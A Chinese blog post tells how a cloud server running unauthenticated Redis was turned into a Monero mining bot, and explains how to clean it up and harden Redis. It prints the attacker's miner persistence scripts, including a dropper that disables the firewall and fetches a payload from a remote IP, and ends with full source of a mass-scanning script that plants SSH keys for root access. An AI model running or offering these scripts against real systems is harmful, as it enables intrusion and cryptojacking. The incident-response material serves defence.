阿里云CentOS Linux系统CPU100%——被黑客种下恶意程序“门罗币”“挖坑机”的排除修复案例

收到阿里云短信,提示server被搞成“挖坑机”的肉鸡了。

一、排除过程
1. top c 命令发现如下进程CPU占用率100%(恢复快照后,第二次CPU占用率50%)

/usr/sbin/bashd -a cryptonight -o stratum+tcp://get.bi-chi.com:3333 -u 47EAoaBc5TWDZKVaAYvQ7Y4ZfoJMFathAR882gabJ43wHEfxEp81vfJ3J3j6FQGJxJNQTAwvmJYS2Ei8dbkKcwfPFst8FhG -p x

2. kill掉自动重启,看来是中招了

3. 发现系统根目录文件/nohup.out,里面有做坏事的相关内容。按图索骥,找到了运行的脚本

4. 脚本一:/boot/efi/deamon.sh(备份脚本/boot/efi/deamon.sh.1)

#!/bin/bash
#daemon.sh
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin

while true; 
do
 server=`ps aux | grep bashd | grep -v grep`
 if [ ! "$server" ]; then
  \cp -rf /boot/grub/grub.tz /usr/sbin/bashd
  chmod +x /usr/sbin/bashd
  nohup bashd -a cryptonight -o stratum+tcp://get.bi-chi.com:3333 -u 47EAoaBc5TWDZKVaAYvQ7Y4ZfoJMFathAR882gabJ43wHEfxEp81vfJ3J3j6FQGJxJNQTAwvmJYS2Ei8dbkKcwfPFst8FhG -p x &
 fi
 sleep 15
done

5. 脚本二:/boot/efi/killer.sh(备份脚本/boot/efi/killer.sh.1)

#!/bin/bash
#killer.sh
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin

while true;
do
 ps axf -o "pid %cpu command" |grep -v bashd| awk '{if($2>=80.0) print $1}' | while read procid
do
 kill -9 $procid
done
sleep 3
done

6. 网上看到如下脚本,感觉痕迹清理更好:

#!/bin/bash
chmod 777 xiao
chattr 777 haha
/etc/init.d/iptables stop;service iptables stop;SuSEfirewall2 stop;reSuSEfirewall2 stop
echo 'nameserver 8.8.8.8'> /etc/resolv.conf
grep "nohup ./haha >/dev/null 2>&1 &" /etc/rc.d/rc.local >/dev/null
if [ $? -eq 0 ]; then
chmod 777 xiao
sleep 1
chattr +i haha
else
echo "nohup ./haha >/dev/null 2>&1 &" >> /etc/rc.d/rc.local
chmod +x /etc/rc.d/rc.local
chmod +x haha
chmod 777 xiao
chattr +i haha
fi
while true
do
ps aux | grep xiao | grep -v grep
if [ $? -eq 0 ];then
sleep 10
chmod 777 xiao
chattr +i xiao
nohup rm -rf index.html >/dev/null 2>&1 &
rm -rf nohup.out
else
if [ -f xiao ];then
chmod 777 xiao
chattr +i xiao
nohup ./xiao -a cryptonight -o stratum+tcp://get.bi-chi.com:3333 -u 48pYmKDVHLGRtUsM9owu4B6rH5jcxZ4pARyNE6kb4CpB77aZ6EQQwGzfMBmCphMMzgYnYJqZJpLXXWw5m8UgPdpLTsjBUno -p x >/dev/null 2>&1 &
else
wget http://120.27.240.44:8080/xiao ; chmod a+x xiao;chattr +i xiao;nohup ./xiao -a cryptonight -o stratum+tcp://get.bi-chi.com:3333 -u 48pYmKDVHLGRtUsM9owu4B6rH5jcxZ4pARyNE6kb4CpB77aZ6EQQwGzfMBmCphMMzgYnYJqZJpLXXWw5m8UgPdpLTsjBUno -p x >/dev/null 2>&1 &
if [ -f xiao ];then
chmod 777 xiao
chattr +i xiao
nohup ./xiao -a cryptonight -o stratum+tcp://get.bi-chi.com:3333 -u 48pYmKDVHLGRtUsM9owu4B6rH5jcxZ4pARyNE6kb4CpB77aZ6EQQwGzfMBmCphMMzgYnYJqZJpLXXWw5m8UgPdpLTsjBUno -p x >/dev/null 2>&1 &
else
curl -O http://120.27.240.44:8080/xiao ; chmod a+x xiao;chattr +i xiao;nohup ./xiao -a cryptonight -o stratum+tcp://get.bi-chi.com:3333 -u 48pYmKDVHLGRtUsM9owu4B6rH5jcxZ4pARyNE6kb4CpB77aZ6EQQwGzfMBmCphMMzgYnYJqZJpLXXWw5m8UgPdpLTsjBUno -p x >/dev/null 2>&1 &
rm -rf nohup.out
fi
fi
fi
done

二、中招原因:
redis未授权,采用默认配置。Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器。

三、处理方法:
1. 稳妥起见,阿里云快照恢复,所以说快照还是有必要购买的(@马云 广告费直接支付宝转我就好)
2. redis漏洞修复
修改 redis.conf 文件,添加requirepass mypassword

cd /usr/local/redis
./redis-server ./redis.conf &

四、redis入侵完整的处理:
1.入侵特征:
1).Redis 可能执行过 FLUSHALL 方法,整个 Redis 数据库被清空
2).在 Redis 数据库中新建了一个名为 crackit(网上流传的命令指令) 的键值对,内容为一个 SSH 公钥。
3).在 /root/.ssh 文件夹下新建或者修改了 authorized_keys 文件,内容为 Redis 生成的 db 文件,包含上述公钥

2.修复建议:
1).禁止一些高危命令
修改 redis.conf 文件,添加
rename-command FLUSHALL “”
rename-command CONFIG “”
rename-command EVAL “”
来禁用远程修改 DB 文件地址

2).以低权限运行 Redis 服务
为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆

3).为 Redis 添加密码验证
修改 redis.conf 文件,添加
requirepass mypassword

4).禁止外网访问 Redis
修改 redis.conf 文件,添加或修改
bind 127.0.0.1
使得 Redis 服务只在当前主机可用

3.扫描工具

#以Ubuntu为例
su

# Requirements
apt-get install redis-server expect zmap

git clone https://github.com/qingxp9/yyfexploit
cd yyfexploit/redis

# 扫描6379端口
# 如果你要扫内网,把/etc/zmap/zmap.conf中blacklist-file这一行注释掉
zmap -p 6379 10.0.0.0/8 -B 10M -o ip.txt

# Usage
./redis.sh ip.txt

最后,将会生成几个txt文件记录结果
其中:
runasroot.txt 表示redis无认证,且以root运行
noauth.txt 表示redis无认证,但以普通用户运行
rootshell.txt 已写入公钥,可直接以证书登录root用户

像这样:
ssh -i id_rsa [email protected]

4.工具源代码

   #!/bin/sh
    if [ $# -eq 1  ]
    then
      ip_list=$1

      ##create id_rsa
      echo "****************************************Create id_rsa file"

      expect -c "
        spawn ssh-keygen -t rsa -f id_rsa -C \"yyf\"
        expect {
            \"*passphrase): \" {
                exp_send \"\r\"
                exp_continue
            }
            \"*again: \" {
                exp_send \"\r\"
            }
            \"*y/n)? \" {
                exp_send \"n\r\"
            }
        }
        expect eof
      "

      echo "\n\n****************************************Attack Targets"
      touch noauth.txt runasroot.txt rootshell.txt haveauth.txt
      i=0
      cat $ip_list | while read ip
      do
        i=`expr $i + 1`;
        #write id_rsa.pub to remote
        echo "*****${i}***connect to remote ${ip} redis "

        expect -c "
          set timeout 3
          spawn redis-cli -h $ip config set dir /root/.ssh/
          expect {
            \"OK\"                        { exit 0 }
            \"ERR Changing directory: Permission denied\"         { exit 1 }
            timeout                       { exit 2 }
            \"(error) NOAUTH Authentication required\"         { exit 3 }
          }
        "

        case $? in
            0)  echo "run redis as root"
                echo $ip >> noauth.txt
                echo $ip >> runasroot.txt
            ;;
            1)  echo "not run redis as root\n\n\n"
                echo $ip >> noauth.txt
                continue
            ;;
            2)  echo "connect timeout\n\n\n"
                continue
            ;;
            3)  echo "Have Auth\n\n\n"
                echo $ip >> haveauth.txt
                continue
            ;;
        esac

        (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
        cat foo.txt | redis-cli -h $ip -x set 1
        redis-cli -h $ip config set dir /root/.ssh/
        redis-cli -h $ip config set dbfilename "authorized_keys"
        redis-cli save

        #login test
        echo "#try to login"
        expect -c "
          set timeout 5
          spawn ssh -i id_rsa [email protected]$ip echo \"yyf\"
          expect {
            \"*yes/no\"     { send \"yes\n\"}

            \"*password\"   { send \"\003\"; exit 1 }
            \"yyf\"         { exit 0 }
            timeout         { exit 2 }
          }
          exit 4
        "

        exitcode=$?

        if [ $exitcode -eq 0 ]
        then
          echo "---------------${ip} is get root shell"
          echo $ip >> rootshell.txt
        fi

        echo "\n\n\n"
      done

      echo "##########Final Count##########"
      wc -l $ip_list
      echo "----------"
      wc -l noauth.txt
      wc -l runasroot.txt
      wc -l rootshell.txt
      echo "----------"
      wc -l haveauth.txt

    else
      echo "usage: ./redis.sh ip.txt"
    fi

参考:

http://www.cnblogs.com/liqing1009/p/5970764.html

欢迎关注我的微信公众号:

 

如无特殊说明,文章均为本站原创,转载请注明出处!

发表评论

邮箱地址不会被公开。 必填项已用*标注